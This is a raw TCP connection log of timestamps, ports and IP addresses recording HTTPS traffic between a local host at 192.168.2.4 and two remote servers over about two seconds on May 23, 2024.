May 23, 2024 10:31:36.998657942 CEST	443	49805	172.67.195.241	192.168.2.4
May 23, 2024 10:31:36.998673916 CEST	443	49805	172.67.195.241	192.168.2.4
May 23, 2024 10:31:36.998908997 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:36.998965025 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:36.999335051 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:36.999841928 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:36.999903917 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:36.999960899 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:36.999974966 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.036351919 CEST	443	49796	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.036441088 CEST	49796	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.039187908 CEST	443	49796	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.039244890 CEST	49796	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.039254904 CEST	443	49796	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.039279938 CEST	443	49796	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.039319992 CEST	49796	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.039731026 CEST	49796	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.039746046 CEST	443	49796	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.051470995 CEST	49805	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.054194927 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.107176065 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.107227087 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.107306957 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.115554094 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.115572929 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.295384884 CEST	443	49801	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.296250105 CEST	443	49801	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.296292067 CEST	443	49801	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.296334982 CEST	49801	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.296389103 CEST	443	49801	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.296493053 CEST	49801	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.297096014 CEST	443	49801	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.298858881 CEST	443	49801	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.298917055 CEST	49801	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.298923969 CEST	443	49801	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.298969030 CEST	443	49801	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.299020052 CEST	49801	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.299128056 CEST	49801	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.299144030 CEST	443	49801	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.300844908 CEST	443	49800	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.301613092 CEST	443	49800	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.301680088 CEST	49800	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.301690102 CEST	443	49800	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.301897049 CEST	443	49800	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.301943064 CEST	49800	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.302129984 CEST	49800	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.302134037 CEST	443	49800	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.304675102 CEST	49810	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.304707050 CEST	443	49810	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.304840088 CEST	49810	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.305135012 CEST	49810	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.305144072 CEST	443	49810	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.305953026 CEST	49811	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.305960894 CEST	443	49811	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.306106091 CEST	49811	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.306282043 CEST	49811	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.306289911 CEST	443	49811	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.311667919 CEST	443	49802	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.311758041 CEST	443	49802	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.311815977 CEST	49802	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.312299967 CEST	49802	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.312308073 CEST	443	49802	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.316395044 CEST	49812	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.316436052 CEST	443	49812	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.316498995 CEST	49812	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.316698074 CEST	49812	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.316714048 CEST	443	49812	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.321587086 CEST	443	49803	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.321667910 CEST	443	49803	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.321741104 CEST	49803	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.322329998 CEST	49803	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.322345018 CEST	443	49803	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.456820011 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.457101107 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.457139015 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.457732916 CEST	443	49807	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.458005905 CEST	49807	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.458031893 CEST	443	49807	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.458277941 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.458388090 CEST	443	49807	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.458620071 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.458847046 CEST	49807	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.458911896 CEST	443	49807	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.459006071 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.459105968 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.459188938 CEST	49807	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.459616899 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.500058889 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.502574921 CEST	443	49807	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.563024044 CEST	443	49805	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.563160896 CEST	443	49805	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.563214064 CEST	49805	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.565296888 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.566948891 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.566984892 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.567100048 CEST	49805	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.567114115 CEST	443	49805	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.567146063 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.567213058 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.567308903 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.570162058 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.571861029 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.571918011 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.571932077 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.575133085 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.575186968 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.575201035 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.610292912 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.610568047 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.610596895 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.610907078 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.611268044 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.611331940 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.611427069 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.611443996 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.623902082 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.623965979 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.641438961 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.641539097 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.641602993 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.686779976 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.749003887 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.751542091 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.751733065 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.751765013 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.754292965 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.754354954 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.754373074 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.755693913 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.755749941 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.755763054 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.758534908 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.758606911 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.758619070 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.760763884 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.760839939 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.760864019 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.762922049 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.763021946 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.763030052 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.765141964 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.765175104 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.765218019 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.765243053 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.765373945 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.766895056 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.768610954 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.768703938 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.768711090 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.770298958 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.770317078 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.770349026 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.770355940 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.770448923 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.795789003 CEST	443	49812	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.796255112 CEST	49812	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.796271086 CEST	443	49812	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.796961069 CEST	443	49810	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.797231913 CEST	49810	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.797251940 CEST	443	49810	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.797302961 CEST	443	49812	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.797354937 CEST	49812	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.797729969 CEST	49812	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.797792912 CEST	443	49812	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.797899008 CEST	49812	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.797908068 CEST	443	49812	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.798352003 CEST	443	49810	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.801127911 CEST	49810	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.801127911 CEST	49810	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.801141024 CEST	443	49810	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.801295996 CEST	443	49810	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.813930988 CEST	443	49811	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.814220905 CEST	49811	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.814227104 CEST	443	49811	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.815653086 CEST	443	49811	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.815731049 CEST	49811	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.815979958 CEST	49811	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.816054106 CEST	443	49811	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.816148996 CEST	49811	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.816154957 CEST	443	49811	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.842036963 CEST	49812	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.842505932 CEST	49810	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.858254910 CEST	49811	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.938699007 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.946093082 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.946124077 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.946150064 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.946188927 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.946235895 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.946249008 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.950325966 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.950427055 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.950943947 CEST	49804	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.950961113 CEST	443	49804	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.955965042 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.956037045 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.956182957 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.956392050 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:37.956428051 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:37.997023106 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.997577906 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:37.998470068 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:37.998488903 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.000170946 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.000221014 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.000227928 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.000320911 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.000363111 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.000370979 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.002099991 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.002163887 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.002170086 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.016051054 CEST	443	49807	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.016304970 CEST	443	49807	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.016458988 CEST	49807	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.016782045 CEST	49807	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.016796112 CEST	443	49807	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.042965889 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.042973042 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.071369886 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.071599007 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.071609020 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.122656107 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.177659988 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.178292036 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.178360939 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.178411007 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.180136919 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.184524059 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.184614897 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.184633970 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.184664011 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.184751987 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.184760094 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.184856892 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.184926033 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.184932947 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.187469959 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.187551022 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.187571049 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.189502954 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.189574957 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.189582109 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.189599037 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.189651012 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.190738916 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.190970898 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.191030025 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.191241980 CEST	49806	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.191260099 CEST	443	49806	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.191951990 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.191982985 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.192009926 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.192019939 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.192060947 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.192069054 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.194870949 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.194900990 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.194983006 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.195280075 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.195291996 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.234402895 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.234421015 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.249144077 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.249217033 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.249228001 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.295824051 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.504847050 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.506273031 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.506422997 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.506449938 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.507239103 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.508275986 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.508304119 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.508384943 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.508384943 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.508399010 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.510602951 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.510632038 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.510683060 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.510716915 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.510729074 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.510757923 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.511858940 CEST	443	49812	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.511883020 CEST	443	49812	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.511940002 CEST	443	49812	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.511996984 CEST	49812	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.512017965 CEST	443	49812	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.512049913 CEST	49812	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.512136936 CEST	49812	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.513185978 CEST	443	49812	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.513261080 CEST	443	49812	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.514343023 CEST	443	49810	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.514497995 CEST	49812	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.514497995 CEST	49812	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.514523983 CEST	443	49810	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.514616966 CEST	443	49810	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.514758110 CEST	49810	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.514765024 CEST	443	49810	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.514838934 CEST	443	49810	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.514878035 CEST	49810	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.515156984 CEST	49810	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.515647888 CEST	443	49811	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.515772104 CEST	443	49811	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.515878916 CEST	49811	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.518162012 CEST	49810	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.518183947 CEST	443	49810	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.518373013 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.518701077 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.518723965 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.519516945 CEST	49811	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.519521952 CEST	443	49811	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.520065069 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.520500898 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.520509005 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.520517111 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.520555973 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.520570040 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.520927906 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.521635056 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.521709919 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.521819115 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.525732994 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.526092052 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.526127100 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.533226013 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.533282995 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.533385038 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.533396006 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.533454895 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.533849001 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.537569046 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.537805080 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.537813902 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.540230989 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.540258884 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.540399075 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.540407896 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.541274071 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.541913033 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.543102026 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.543440104 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.543447971 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.545001984 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.545085907 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.545094013 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.545730114 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.545758009 CEST	49808	443	192.168.2.4	104.21.52.56
